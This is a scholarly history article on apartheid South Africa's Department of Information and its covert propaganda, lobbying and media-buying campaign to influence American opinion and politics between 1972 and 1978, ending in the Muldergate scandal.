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South Africa’s propaganda war: the information campaign to influence the United States of America, 1972-1978

Title: South Africa’s propaganda war: the information campaign to influence the United States of America, 1972-1978

Authors: J.K. Haasbroek, J-A. Stemmet and M. Oelofse[*]

Ensovoort, volume 41 (2020), number 9: 3


In an effort to counter anti-apartheid forces, the Department of Information, with the approval of Prime Minister Balthazar Johannes (B.J.) Vorster, initiated a global unconventional propaganda offensive, at astronomical cost.  The Department of Information considered the United States of America (USA) a significant target, and therefore implemented a series of projects to increase Western support for Pretoria. This article endeavours to review the overall goals and effectiveness of campaigns conducted in America from 1972 to 1978. Hence, it will focus on campaigns undertaken by the Department of Information that influenced the ‘hearts and minds’ of American decision makers and opinion formers, as well as the public regarding South Africa’s ‘realities’.

Keywords: South Africa, Apartheid, Department of Informatio, Propaganda; Media, Diplomacy, Public relations, B.J. Vorster, United States of America (USA), Cold War


Met die goedkeuring van eerste minister Balthazar Johannes (B.J.) Vorster, het die Departement van Inligting ʼn globale onkonvensionele propagandaveldtog, teen astronomiese koste, geloods in ʼn poging om anti-apartheidsmagte teen te staan. Die Departement van Inligting het die Verenigde State van Amerika (VSA) as ʼn belangrike teiken beskou en verskeie projekte is geïmplementeer om ondersteuning vanuit die Weste vir Pretoria te bevorder. Hierdie artikel poog om die algehele doelwitte van die veldtogte in Amerika (1972-1978) in oënskou te bring en die effektiwiteit daarvan. Daarom fokus dit op die Departement van Inligting se veldtogte wat probeer het om die ‘hart en menings’ van Amerikaanse besluitnemers en meningsvormers, asook die publiek, rakende Suid-Afrika se ‘realiteite’, te beïnvloed.

Sleutelwoorde: Suid-Afrika, Apartheid, Departement van Inligting, Propaganda, Media, Diplomasie, Openbare betrekkinge, B.J. Vorster, Verenigde State van Amerika (VSA), Koue Oorlog


The United States of America’s ideology and culture emphasise personal liberty and equality. These principles are embedded in American foreign and domestic policies. Apartheid South Africa’s segregation and oppressive laws against so-called non-whites, during the Cold War period, denied the Republic economic and alliance securities within the North Atlantic Treaty Organisation (NATO). The USA itself was struggling with complex race relations and had to cater for African-Americans fighting for civil rights. Pressure from the United Nations (UN) and newly-independent countries prevented a close-knit alliance between South Africa and the USA. Openly supporting a racist regime, particularly in view of the emergence of newly-independent countries in Africa and Asia, would jeopardise and invite criticism for the USA’s foreign policy, resulting in the decline of international influence.[2]

Despite this, the emergence of the Cold War triggered a unique and complicated relationship between apartheid South Africa and Western anti-communist allies. Although apartheid was condemned by the West, South Africa remained a crucial strategic and economic associate, and proved to be the most ‘stable’ country in Africa in so far as Western priorities were at stake. The African National Congress’ (ANC) association with Moscow resulted in Washington’s preference for the white minority to remain in control. International affairs were also crucial for the South African Government, especially as its global image was deteriorating. Positive interaction on foreign stages was essential for not only economic reasons but also security from the Western powers was imperative to fend off the perceived communist threat. Particularly as the end of colonialism was leaving the white minority isolated in a black continent.[3] The problem faced by South Africa was: how to sway public opinion in the USA, in its favour — with the stench of apartheid following it? Traditional methods of influence would not suffice. Pretoria would need to target America by unconventional means.

The article focusses specifically on how Pretoria targeted the United States.  The apartheid state and its relations, including propaganda and lobbying endeavors, regarding the United States was fluid as the system became increasingly more infamous. An extensive analysis thereof falls outside the ambit of a short article. This article presents a unique aspect of South African history that remains, to a large extent, unrevealed. It serves to digest an otherwise convoluted piece of history. It speaks directly to the angst of an undemocratic system: how to change outside views without relinquishing internal matrices of power.

In 1968, Vorster appointed the Minister of Bantu Administration (later renamed Plural Relations), Cornelius (Connie) Petrus Mulder as Minister of Information.[4] Three years after his appointment, Mulder sallied forth on an excursion to witness international opinion concerning South Africa. Displeased with the unfavourable attitude of international newspapers, political debates, and calls for sanctions against South Africa, he was eager to recruit a crew to combat these views. The book entitled The Paper Curtain by Dr Eschel Mostert Rhoodie fascinated Mulder. In the book, Rhoodie argued that South Africa was not involved in a direct war, but rather in a ‘Battle of Words’. Attacks by the international media, Western churches, and third-world countries in an effort to isolate and boycott Pretoria, prevented South Africa from reaching its maximum potential in trade, technological advances and, ultimately, its ‘rightful’ place on the continent. Rhoodie suggested that, instead of responding to opponents’ attacks, South Africa should retaliate with a counter-propaganda offensive.[5]

The need for a propaganda war

Disputes over South Africa’s human-rights violations started in 1946. Pretoria’s treatment of Indians resulted in a complaint to the UN in its first General Assembly. The Defiance Campaign in 1952 prompted thirteen Arab and Asian countries to instigate a new resolution against apartheid. The USA succeeded in protecting Pretoria from UN scrutiny but by the late 1950s, the USA was obligated to approach South Africa more critically due to the civil-rights movements at home, and African countries gaining independence.[6]

South Africa received a great deal of unfavourable global attention following the Sharpeville Massacre that occurred on 21 March 1960. On 1 April 1960, the UN Security Council adopted Resolution 134, which denounced apartheid policies and requested the termination of apartheid. For the first time, the General Assembly favoured action against South Africa. Even Pretoria’s strongest ally, the USA, approved the resolution. Even though the USA’s rhetoric changed in regard to apartheid, economic and strategic cooperation between Pretoria and the USA continued. The General Assembly considered South Africa a threat to international peace in 1962, and encouraged optional sanctions. In order to compensate for the requests by civil-rights movements and African and Asian countries, the John F. Kennedy Administration decided to impose an arms embargo against Pretoria. On 7 August 1963, the UN Security Council adopted Resolution 181, prohibiting states from providing South Africa with military equipment. The USA’s embargo only applied to weaponry that was used to impose apartheid.[7]

Apart from international politics, another thorn in the side of the National Party (NP) was the Anti-Apartheid Movements (AAM) from the USA, United Kingdom (UK), Scandinavian countries, and Holland. The AAM worked with organisations, such as the exiled ANC, the UN, and sympathetic governments. The goal was to create a worldwide consciousness of apartheid and, through unified campaigns, crush South Africa’s economy by means of sanctions, boycotts, disinvestment and propaganda. On 2 December 1968, the General Assembly called for governments and associations to break off cultural, sporting, and educational exchanges with South Africa. For example, South Africa was banned from the 1963 Tokyo and 1968 Mexican Olympic Games.[8]

In 1969, South Africa gained an important ally in the White House. President Richard Nixon instated a policy towards South Africa that invited negotiation and collaboration as a means of transformation. While the Nixon Administration publicly condemned apartheid, in reality, it relaxed economic restrictions and political isolation. The phrase ‘the whites are here to stay’ from a leaked document in 1969 created the impression that the USA was in favour of the apartheid regime. This document drew strong criticism both domestically and internationally.[9]

However, AAM activities intensified in the 1970s. In 1972, the American Committee on Africa set up office in Washington DC, which enabled the committee to have institutional power in the capital. In the same year, the Interfaith Committee on Corporate Responsibility was established to target American businesses interacting with South Africa. Another threat to Pretoria was the rise in black representatives in the US Congress. Nine black congress members joined to form the Congressional Black Caucus in 1971 to put pressure on Pretoria. The most prominent black man in Congress to put pressure on South Africa was Charles Diggs, who was selected as Chairman of the House of Representatives Foreign Affairs Committee. Diggs raised the issue of American investments in South Africa during various public hearings. Despite the actions of the Congressional Black Caucus, the US Senate remained reluctant to take any legislative action. Nonetheless, AAMs were a factor in the removal of South African representation from the UN in 1974.[10] Against this backdrop, Mulder, Rhoodie and Vorster convened on an approach to deter negative views and alter international politics through propaganda and persuasion.

Approach to a propaganda war

Although The Paper Curtain made an undeniable impression on Mulder, the question remains as to how the author intended to win the propaganda war. Rhoodie’s time as an Information Officer abroad in Australia, Holland, and the USA afforded him the expertise to wage an unorthodox propaganda war. Rhoodie accused the Department of Information of being ill-equipped to deal with the psychological and propaganda warfare of the Cold War. For instance, the Arab States funded R20 million for public relations campaigns in the USA. He noticed that the Department of Foreign Affairs stagnated and mainly clung to official diplomacy with governments and avoided other duties such as addressing the foreign media, churches, students, politicians, and AAMs. For the Department of Information to be effective, it had to create a clandestine capability for which it required millions. [11]

The strategy that Rhoodie had in mind for altering global attitudes towards South Africa was the utilisation of overt and covert propaganda. South Africa was struggling to use official and diplomatic communication channels. Therefore, Rhoodie’s objective was to reach opinion formers and decision makers across the world, induce their standpoint on South Africa, and establish a communication network through which South Africa could convey its messages and arguments. Rhoodie would hide the true nature of the source and information from the recipients, and the messages would be disseminated by targeted politicians, senators, businessmen, religious leaders, newspapers, labour unions, and anti-apartheid organisations. People were more likely to believe and trust a source that had no apparent direct involvement with South Africa. Rhoodie also advised befriending potential leaders early in their careers in order to secure allies who could later exert influence. The media is often unforgiving towards a country and it is a compelling task to escape the ‘brutal-highlight syndrome’. The best ways to ensure influence in the media included having friends within the media, buying goodwill or simply owning the media source.[12]

Rhoodie declared that all possible methods would be used to transfer massive volumes of positive information to those living abroad. Propaganda methods included distributing books, magazines, and pamphlets to important individuals; press conferences, seminars, official and ministerial speeches, talks and interviews specifically aimed at politicians and businessmen; advertisements through front organisations; purchasing foreign journalists; buying space to counter-argue in newspapers; lobbying and public relations initiatives; buying goodwill, bribing or encouraging or discouraging people from doing something; external censorship through pressure groups; and paying for visits from foreign VIPs to South Africa. Influential foreign visitors to South Africa would be transformed into an ‘informed corps’ that would persuade their governments not to abstain from supporting punitive actions against Pretoria.[13]

Mulder believed that the first line of defence was the propaganda line, and the second, the military line. Therefore, it was more cost-effective to obtain positive reporting than to buy tanks and aircraft. Mulder valued Rhoodie’s understanding of Cold War mechanics and appointed him as Secretary of Information at the age of 38 in September 1972.[14]

Early information efforts

In a short period of time, between 1972 and 1974, Rhoodie established a vast network throughout the globe. The Department of Information’s initial thrust into the USA was achieved by hiring the lobbying firms, Rotary and Lions International, as well as Collier, Shannon, Rill and Edwards. Rotary and Lions International were provided with funds and speakers, with lobbying efforts largely engaging America’s southern universities and small black businesses. For example, Ronald Farrar, the head of the Journalism Department at the University of Mississippi, was sent on a tour to South Africa. Farrar wrote pro-South African letters which he sent back home, stating, among others, that black people had not been restricted by pass laws.[15]

In January 1974, Rhoodie contracted the renowned Washington lobbying organisation Collier, Shannon, Rill and Edwards. The organisation selected the American lawyer and lobbyist, Donald E. deKieffer, to represent the South African Government in the USA. He had strong ties with the American Republican Party. According to the organisation’s registration statement to the Justice Department, the mandate received by the firm from the Department of Information stipulates contacting publicists, media representation and educational groups concerning the “reassessment” of current American foreign policy towards the Republic of South Africa.[16] Politically and economically, the “Registrant intends to contact appropriate government officials in the USA concerning American policies with regard to energy, mutual security, and investment within the Republic of South Africa.[17]

DeKieffer regularly sent publications, telegrams, and press releases to the US State Department, Defence Department, Treasury and Interior Departments, and the Commerce Department. For example, in 1974, DeKieffer distributed booklets to offices of Congress concerning the importance and security of the Cape sea route. DeKieffer also targeted the US Congress. He used his ‘personal’ capital to contribute financially to the campaigns of US legislatures and senators. He also arranged social excursions for members of congress, and fact-finding visits to South Africa for Congress representatives. Official members visiting South Africa rose from 11 in 1973 to 56 in 1974.[18]

Additionally, DeKieffer assisted in arranging top-level visits to American executives by South African government officials. Contact with top-level American government representatives offered South Africa more diplomatic opportunities. On 12 January 1974, Mulder left for America where he conveyed the importance of Pretoria’s minerals and military cooperation and, in exchange, bargained for the abolishment of the arms embargo. Mulder met with various senators and congressmen, such as Governor Ronald Reagan; the black Mayor of Los Angeles, Tom Bradley; Republican Senate Leader, Hugh Scott; Democratic House Leader, Tip O’Neil; Congressman Andrew Young; and Thomas Morgan. He also re-opened correspondence with the New York Times and managed to establish a New York Times bureau in South Africa. On 22 January, Mulder discussed issues with Vice-president Gerald Ford surrounding the ties between South Africa and the USA. Ford arranged for Mulder to meet with a Navy Vice Admiral, Raymond Peet, at the Pentagon. In August 1974, Ford took office as President of the USA and maintained good relations with South Africa.[19]

In one case, DeKieffer managed to cause a stir after the State Department’s Bureau of African Affairs denied Admiral Hugo Biermann a visa to visit the USA in May 1974. As part of the arms embargo policy, military personnel were prevented from making official contact. DeKieffer showed his remarkable lobbying skills by attracting congressional support for Biermann’s visa application. Secretary of State, Henry Kissinger, personally granted Biermann a visa. Thereafter, Biermann visited US Admiral Thomas Moorer and the secretary of the navy designate, William Middendorf.[20]

In a short span of time — from 1972 to early 1974 — and with a conservative preliminary budget,[21] the Department of Information was able to influence top-level decision makers and newspaper owners in the USA. On 6 February 1974, Rhoodie was called upon to deliver a presentation to Vorster and the Minister of Finance, Nico Diederichs, on the clandestine propaganda campaign. He explained that South Africa’s most imminent threat was not the Soviet Union, but rather Western democracy through their newspapers, politicians, and business communities. Both Vorster and Diederichs supported Rhoodie’s initiative to start a propaganda offensive.[22]

The grand information campaign

From 1974 onwards, the Department of Information increased the scale and scope of its propaganda offensive in the USA. Millions of rands were invested into propaganda operations aimed specifically at US Congressmen and the media. The Department of Information enlisted John McGoff, a conservative businessman from Michigan. McGoff was the founder of the Panax Corporation that possessed several radio stations and forty small daily and weekly newspapers scattered throughout the American Midwest. He also had ties with Republican officials and was a personal friend of Vice-president Ford. Already in 1968, McGoff was invited to South Africa as part of the foreign visit strategy. During McGoff’s visits to South Africa, he befriended Mulder and Rhoodie, and returned to the USA with a positive attitude towards South Africa. Previous executives claim that McGoff occasionally ordered them to distribute stories regarding South Africa. By 1974, McGoff increased the amount of content to be published regarding the importance of South Africa.[23]

In 1974, McGoff proposed a mutually-beneficial business offer to the Department of Information. The Washington Star experienced financial difficulties and planned on selling off its shares. McGoff needed the financial backing of the South African Government to purchase The Washington Star. The South African Government would benefit by acquiring a new tool in their arsenal to distribute pro-South African propaganda and, hopefully, alter the perception of US Congressmen in the capital of the USA. The Washington Star would also be able to counteract inimical views represented by The Washington Post and the New York Times. McGoff required $10 million from the Department of Information and was willing to contribute even more of his own capital to acquire The Washington Star.[24]

However, the acquisition of The Washington Star never materialised. Sources vary in terms of explaining why the bid failed. According to the Securities and Exchange Commission, McGoff used the $10 million to seize more shares in the Panex Corporation. In a timespan of five years, starting in 1973, McGoff’s shares in Panax increased from 43 126 to 460 000. Karen Rotmeyer asserts that McGoff was unable to raise sufficient funds to purchase the newspaper. The representative of The Washington Star’s titleholders, Godfrey Kauffmann, recalls that after looking over Panax’s balance sheet, he discovered that the company did not have the financial capacity to buy the newspaper. Kaufmann added that McGoff never submitted a solid proposal. McGoff’s presence in the bid for The Washington Star concerned its executives, who believed that it had some connection to his newly-found South African relationship.[25]

In late 1974, McGoff instead bought the Californian newspaper Sacramento Union for more than $5 million. While bidding for The Washington Star, McGoff requested to use a portion of the $10 million and the interest generated by the money to purchase the Sacramento Union. Initially, Rhoodie agreed to the conditions after McGoff had convinced him that it was a leading newspaper in California, which was home to Governor Reagan. In 1976, Rhoodie became aware of the fact that McGoff had used the original capital to buy the Californian newspaper and attempted to buy some other smaller newspapers such as the ephemeral New York Trib. Rhoodie did not have the authority to allow the transaction of the original funds for purchasing the Sacramento Union. The subsequent Erasmus Commission[26] concluded that a large amount of money had been placed in the hands of McGoff without proper regulation and the Department of Information was unsure as to whether South Africa had any entitlement to these properties.[27]

In 1975, the Department of Information channelled roughly $1 000 000 to McGoff in order to secure shares in the United Press International and Television Network (UPITN). Second to Visnews, UPITN was the largest international television agency with more than 100 clients around the globe, and a major provider of news content for the American television network, ABC, and various third-world countries. McGoff bought 50% of the shares from Paramount for Panax, while the other shareholders, with 25% shares each, were United Press International and Independent Television News (ITN), based in Britain. Rhoodie was pleased with the fact that South African propaganda could be viewed from different media outlets worldwide. With the intention of influencing editorial control over content concerning the presentation of South Africa, McGoff managed to acquire the UPITN Chairman position in London for his right-hand man, Vice-president Clarence Rhodes. In February 1976, Rhodes staged an interview with Vorster for international television. Rhoodie orchestrated the set-up of answers and questions for Vorster, clearly conveying the propagandist intentions of UPITN. Eight out of 300 documentaries produced by UPITN covered South Africa. The editor of ITN, Hugh Whitcomb, gave the assurance that McGoff did not possess the power to prescribe editorial policy and never tried. However, Rhoodie was aware that one-sided programmes may have injured the project and therefore endorsed the production of programmes that were critical to the NP.[28]

Chris Paterson and Vanessa Malila conducted a study to determine the coverage of the UPITN during and after McGoff’s shareholding in the company. The study found that during the McGoff era, most of the content had focussed on South Africa’s relations with countries not adjacent to its borders, such as the UK and the USA. After the McGoff period, stories began focussing on South Africa’s affiliation with bordering countries. Before and after, Caucasians, specifically politicians, were more likely to be aired than any other race. The researchers concluded that the editorial policies were intended to shift the limelight away from South Africa’s real news by focussing on its relationships with other countries.[29]

The Department of Information was extremely diligent in its attempts throughout the USA to modify the American public’s attitude towards the white South African government. Endeavours to distribute propaganda ranged from newspapers, books, and magazines to brochures, advertisements, personal contact, television, radio, and other methods of cleverly disguised propaganda. The main overseer of propaganda operations in the USA was the Information Service of South Africa’s (ISSA) office in New York. The ISSA circulated numerous South African publications in the USA, such as the South African Scope, South African Panorama, and the South African Digest, which numbered 35 000 in circulation. These magazines with pro-South African investment advertisements were sent to libraries, educational facilities, organisations, legislators, newspapers, executives, and bureaucrats. South African investment advertisements appeared in several prestigious newspapers and magazines, for example in the Wall Street Journal, reading: “South Africa. There’s something in it for you”, and in the New York Times: “If you buy or invest, South Africa makes all the difference in the world.” In the Business Week, a special advertisement of 32 pages with the title “Grow in South Africa”, emerged. The advertisement scheme was a joint venture of government departments, South African corporations, and bodies that benefited from USA commercial investments. Advertising was an appropriate means of stabilising the import of foreign capital and contributed to business relationships with American investors.[30]

In the 1970s, television became an important source of information and entertainment for most Americans. The department was well aware of television as an effective medium to expose American audiences to propaganda. Propaganda films were specially modified to appeal to American viewers. An estimated 32 million Americans viewed ten South African propaganda films on television in 1974. The ISSA also commercially distributed 1 160 copies of 53 television documentary films. The cinema film distributor, Association-Sterling films, showed ISSA films such as Floodlift to Lesotho in 1974, which was believed to be a success after two million people had viewed it. Films generally contained footage of indigenous African animals, traditional cultures, and smiling white and black children. Moving pictures also highlighted South Africa’s strategically important natural resources.[31]

Radio was utilised as a tool to reach audiences in rural areas. These marginalised rural regions were only subjected to one point of view. The Department of Information sent 6 000 copies of the radio programme South African Magazine to 125 American radio stations in 1974. Listeners of small radio stations were frequently exposed to radio tapes, unaware that they were actually listening to propaganda provided by the ISSA.[32]

Rhoodie believed that personal contact was a suitable method of influencing officials and citizens. Except for retaining offices and information staff in locations, such as New York, Los Angeles, San Francisco, Chicago, and Houston, information staff were instructed to initiate ‘contact tours.’ These tours included giving speeches, meeting people, and corresponding with local television, press, and radio. Visits to towns and cities increased from 1974 to 1975, totalling 118 cities visited by only six information officials. Contact tours were paramount for publishing constructive reports in the American press and served to recruit visitors for the South African foreign visit programme.[33]

Additionally, the Department of Information targeted the American education sector. Foreign universities were provided with books worth R50 000, annually. Since most universities abroad only had books that shared ‘unbalanced’ views, the department saw it fit to sponsor these institutions with books containing a more ‘unbiased’ interpretation. The material conveyed progress made in race relationships over the past seven years, but oddly, the material made little reference to the Soweto Uprising or civil unrest experienced in the country. The Department of Information also went as far as influencing school children. The ISSA recruited the services of Image Industries, a company that markets and disseminates educational material. The ISSA ordered Image Industries to produce glossy brochures and a multimedia kit equipped with a sound filmstrip, wall map, South African flag, and a teacher’s guide. These kits were sent to junior and high school pupils free of charge. The regime distributed tens of thousands of dollars for the manufacturing of 10 466 kits and the printing of 50 000 brochures.[34] John Laurence voiced his concern regarding this malpractice: “By this means children outside South Africa are indoctrinated with tacit and often quite false racial or even anti-black propaganda, carrying the objective imprint of the innocent publisher.”[35]

The South African Government’s principal method of influencing senators and legislators involved the use of lobbying groups.[36] Lobbying groups came in the forms of public relationship agencies, front organisations and corporations with an interest in South Africa. Galen Hull is cautious of the power that lobbying groups wield, “The strength of lobbyists in Washington, both domestic and foreign, is reflected in their ability to influence legislation that would bring tighter regulation of their activities.”[37] South Africa acquired lobbying allies through business interests or visits to South Africa. Major corporations, such as the Ford Motor Company and Gulf Oil, utilised their permanent lobbying groups in the American capital to further their own needs and those of Pretoria. Corporations avoided the US State Department and, instead, influenced the Commerce and Treasury Department to diminish trade and arms embargoes. In 1976, pro-South African lobbying groups were on the brink of eradicating import-export limits on Pretoria, but were stopped by Members of Congress who opposed the involvement of the USA in Angola and doubted financial commitment to apartheid. An example of a lobbying ally gained through visits to South Africa was the American Legion, an organisation of conservative USA veterans who have influence over American business and politics. In 1978, the American Legion declared that it would boost South Africa’s image nationwide through the mass media as well as its journal Legionnaire, and encourage investments.[38]

Public relations agencies appointed to advance South Arica’s case most notably included Collier, Shannon, Rill and Edwards, as well as Sydney S. Baron. Donald deKieffer continued to provide his services to the Department of Information. He also worked to influence Congress campaigns and update the Department of Information on reports that might have had an effect on Pretoria. In 1976, he also arranged fact-finding trips to South Africa for American delegates, such as John Dent, Philip Cane, and Richard Ichord. Furthermore, DeKieffer provided congressmen with fact sheets regarding critical issues surrounding South Africa. In a case concerning voting for a resolution of not acknowledging the homeland of Transkei in September 1976, both Representatives Philip Cane and John Dent voted in opposition to the resolution, using the fact sheet provided by DeKieffer to support their decision. In the end, the resolution was not approved because it failed to gain a two-thirds majority vote. By the end of 1977, DeKieffer contributed “his own capital” towards the campaigns of 15 senators who had been in favour of building a naval base in the Indian Ocean and who preferred African self-rule. DeKieffer’s services were used even during the Muldergate Scandal, costing the government a million rand per year up until March 1979.[39]

Conversely, the Department of Information’s most prominent public relations consultant was Sydney S. Baron. This company was the fourteenth biggest in the USA and New York’s topmost public relations company, with well-established connections in American politics. Sydney S. Baron was an expensive agency, handling significant corporations, such as The Aluminium Company of America and Japanese Electrical Industry. The contract signed with Sydney S. Baron avows that they would directly report to the Secretary of Information and act as a public relations officer for South Africa; evaluate South African and American political, economic, strategic, and social attitudes towards South Africa; nurture objective and balanced treatment of South Africa in the American media by accurately conveying the meaning of South African policies; promote economic opportunities in South Africa for American business and financial communities; and encourage a better understanding between the two nations, including ordinary citizens and government officials.[40]

The contract signed with Baron on 17 March 1976 could not have come at a better time. Only a few months later, the Soweto Uprising erupted, causing massive damage to South Africa’s international image. When faced with criticism, the owner, Sydney Baron, replied: “Every client can’t be Disneyworld.[41] From 1976 to 1977, the payment received by Baron increased to nearly half a million dollars per annum. The English press was rather critical of the increased payment, and the Daily News argued that “No amount of money will rehabilitate this country’s image if the Government persists in its disastrous handling of affairs as was demonstrated in the case of the Biko scandal.”[42] Eschel Rhoodie responded by affirming that “the annual amount South Africa spends on public relations firms in America to help advance its image, is completely justifiable since we are in a struggle to survive.”[43]

Baron assigned the African-American, Andrew Hatcher, Vice-president International of Baron, to work on South Africa’s contention. Hatcher was the Deputy Press Secretary in the White House during the Kennedy Administration. South Africa was delighted to acquire a black American to justify its cause by distorting the view that South Africans are racist, and a frontrunner of progress in race relations. Not only did Hatcher encourage black business investment in South Africa, but he also organised visits for African-American legislators and journalists to South Africa. Daily and weekly newspapers received feature stories from Hatcher, depicting Pretoria in a favourable light. On 23 June 1976, Hatcher and the white anti-apartheid activist and executive director of the American Committee on Africa, George Houser, debated on NBC TV’s Today Show. Hatcher argued that South Africa was, indeed, changing and that the government allowed non-white participation in state affairs. Hatcher also placed advertisements supporting the independence of Transkei from South Africa in the Ebony and Wall Street Journal magazines. Furthermore, Hatcher and DeKieffer worked together in public relations campaigns on television.[44]

As part of the agreement with the Department of Information, Baron organised two seminars for wealthy American businessmen to invest in South Africa. Sponsored by the government body, the South African Trade Organisation (SAFTO), the first seminar took place in June 1977, with 300 corporate executives gathered at the Hilton Hotel in Rye, New York. Mulder was present at the seminar to explain the benefits of investing in South Africa, and William Simon, Secretary of the USA Treasury, was paid thousands of dollars to be a guest speaker. The next seminar was held in Houston in 1978, where former President Ford was said to have been paid $10 000 to convince businessmen of the advantages of investing with Pretoria. McGoff was also a guest speaker at the discussion.[45]

Multiple times Rhoodie asserted that South Africa did not interfere with the political affairs of other countries; however, the Department of Information was trying to affect the discourse of American politics. Less documented cases of South African involvement in American politics were the financial contributions to unseat US senators who were antagonistic towards apartheid. Rhoodie claims that $120 000 were provided for the defeat of Senator John Tunney in 1976. In 1978, the Democrat and Chairman of the Senate’s Foreign Relations subcommittee on Africa, Senator Dick Clark, was targeted. Clark was keen on emphasising racial issues in South Africa. He was defeated by the conservative Republican, Roger Jepsen, with an alleged astronomical donation from the Department of Information for his election campaign. While Jepsen denied South African involvement in his campaign, Hatcher admitted involvement to British journalist, Anthony Sampson. He recalled that, while visiting Pretoria, he had promised Mulder that Clark’s defeat was imminent. Other evidence suggesting South African interference was the circulation of pamphlets accusing Clark of being lenient on communism, during the election campaign. Through Baron, the Department of Information sent a donation to Jimmy Carter’s presidential campaign in 1975. Rhoodie’s judgement of reaching leaders before they became president backfired when it turned out that Carter was opposed to the minority rule in South Africa. During the Carter Administration, the relationship between the United States of America and South Africa would deteriorate.[46]

Waning of the projects

Confident in his Department of Information, Mulder guaranteed that 1976 would be the most fruitful year. The Soweto Uprising on 16 June 1976 dealt a massive blow to the propaganda effort. Black people received instant solidarity from the international community. The global media quickly focused on the shootings, which reflected the true nature of discontent under the black majority. As a result, the Carter Administration was pushed for arms and trade embargoes by AAMs and black leaders. Although Carter voted at the UN for an arms embargo, Kissinger advised him not to implement a trade embargo against South Africa. Nevertheless, the Soweto Uprising resulted in limited disinvestment of foreign capital.[47]

The following year, South Africa was in the limelight once again for the murder of Steve Biko while in police custody. Resentment from the international media, who had adopted an extremely negative attitude towards South Africa as a result of the Biko affair, increased.[48] Rhoodie was convinced that the damage was irreversible and declared in the Department of Information’s Annual Report of 1977:

“When the General Assembly of the United Nations proclaimed on December 14 last that 1978 was going to be the International Anti-Apartheid Year, it brought to a climax the worst period of anti-South African publicity and hostility in the country’s history … It received the most in-depth coverage of any South African news story since the first heart transplant and was extremely damaging.”[49]

In 1977, circumstances were dreary for the Department of Information and it became apparent that it had a mole leaking sensitive information to the South African English press. In addition, the department was struggling to safeguard disorderly propaganda campaigns. South African reporters sensed something devious and began searching for the truth. On 19 February 1978, the Sunday Express published evidence from the Barrie investigative report concerning irregularities in the Department of Information. This provided the opposition press with ammunition to confront the government about being responsible for deceit, bribery, and maladministration. Throughout 1978, the press continued to release damning reports, and several inquiries were established to investigate any misconduct within the Department of Information. These investigations and revelations resulted in internal turmoil within the NP that would eventually escalate to the Muldergate Scandal. On 16 July 1978, Rhoodie was dismissed and the Department of Information was replaced by the Bureau of National and International Communication. Afterwards, the State Security Council decided to continue with 68 of the secret projects.[50]

Reflecting on the operations’ effectiveness

Before reaching a conclusion, it is important to review the overall effectiveness of the campaign from the perspective of authors, experts, and individuals who, in some way, formed part of the information war. John Laurence was impressed with the extensive operations of the Department of Information by infiltrating numerous nations and disseminating propaganda on a grand scale. He also takes into consideration the effect of a small population of whites in Africa on worldwide masses, by commenting on the department’s activities: “maybe without parallel in its size and scope in human history.”[51] Carl Nöffke, Director of Information at the South African Embassy in Washington DC in 1975, emphasised Rhoodie’s propaganda prowess: “[Eschel Rhoodie] was probably the most brilliant propagandist of the century — I think he was better than Goebbels.”[52] Geldenhuys describes Rhoodie as the “innovative architect of foreign policy” initiatives which downplayed the Department of Foreign Affairs and gave credit to Vorster’s statesman image. Political scientist, Deon Geldenhuys, describes the Department of Information’s successful diplomacy and propagandist style as follows: “Information’s often grandiose conception of international politics consisted of a strange compound of wishful thinking, naiveté, and hardheaded realpolitik.[53] Ron Nixon asserts that the Department of Information’s propaganda strategy was clearly damaging the counter-propaganda initiatives of AAM groups: “the anti-apartheid movement in America and Europe had limited success in keeping the South African situation at the political forefront of public attention … efforts to persuade the various presidential administrations to impose sanctions had largely fallen on deaf ears and the grassroot movements pushing for sanctions and divestment had stalled.”[54]

On the contrary, authors like James Sanders point out that the Soweto Riots had a severe impact on the operations of the Department of Information: “the Department of Information discovered that it was impossible to control its extraordinary level of operations and provide an effective voice for the beleaguered South African government.”[55] He also mentions that counting against the Department of Information was its inability to sell the acknowledgement of independent black states, such as the Transkei, to foreign presses and governments, which was a humiliating setback. Rhoodie admitted to having made some blunders that contributed to his downfall by “putting too much on his fork,” meaning that he had tried to operate secret propaganda projects all over the world and worked overtime in order to do so.[56] Journalists Mervyn Rees and Chris Day believe some campaigns to have been ill-conceived and poorly executed. Rees considered Rhoodie to be his own worst enemy because his lifestyle and abuses attracted unnecessary attention to himself and the clandestine programmes. Elaine Windrich asserts that the propaganda campaign may not have been that effective since dealing with South Africa might have been detrimental to the image of a business. For example, the law firm, Covington and Burling, ceased contact with South Africa after they were boycotted by law students.[57]


In order to determine the overall impact of the campaigns, the objectives of the Department of Information with regard to the USA need to be outlined first. An analysis of the projects reveals that the main objectives were to reach and secure influential individuals; to shift the limelight away from actual news; and to encourage investment and reinforce constructive notions about South Africa. Considering these objectives, Rhoodie’s ultimate approach was to strengthen the image of South Africa by identifying and targeting high-level decision makers and opinion formers.

The information shared confirms that Rhoodie successfully made contact with top-level and well-connected individuals and converted a portion of them to embrace a pro-South African stance. Undeniably, the most efficient methods of influencing figures, such as Farrar, President Ford, President Reagan, Kissinger, McGoff, Dent and Cane, were through lobbying, public relations firms and fact-finding trips. This aligned favourably with Rhoodie’s grand blueprint of casting a web of trustworthy top-level sources to disseminate South African propaganda from the top-down to grassroots level of American society. Other forms of multimedia merely served as overt and covert stratagems to reinforce or bolster antecedents or constructive images of South Africa. Three examples of documented cases that support the effectiveness of the campaigns were the vote for the Transkei in September 1976; Kissinger voiding arms embargoes in 1976; and the defeat of Clark in 1978.

Albeit, the Soweto Uprising and death of Biko caused irreparable damage to the projects. It may be concluded that the Department of Information cemented indispensable underground diplomatic channels that benefitted the survival of apartheid during the 1970s and supported the prolonged existence of apartheid during the 1980s.

However, the Information Scandal proved to an antagonistic global community that the minority regime could not be trusted. In the eyes of the world, the apartheid state was an inherently immoral den of liars, befitting the leadership of an immoral system of government. Muldergate finally convinced Vorster’s successor, P.W. Botha, that it was futile to try and convince a hostile outside world of the merit of the National Party ideology through gimmicks. The Botha Administration would try to control news about South Africa by means of censorship and would eventually try and annex the very flow of information.


Primary Sources

Archival Sources
Archive for Contemporary Affairs (ARCA), University of the Free State, Bloemfontein

The Japie Basson Collection

P 58:   Die Transvaler/Oggendblad, 1979.6.5: The Erasmus Commission of Inquiry, Intermediate and Supplementary Report into alleged irregularities in the former Department of Information. [Newspaper].

Special Collections & Archives University of Cape Town Libraries, Cape Town

Department of Information, Report for the period: 1 January – 31 December 1974. Pretoria: Cape & Transvaal Printers Limited.

Department of Information, Report for the period: 1 January – 31 December 1975. Pretoria: Cape & Transvaal Printers Limited.

Department of Information, Report for the period: 1 January – 31 December 1976. Pretoria: Cape & Transvaal Printers Limited.

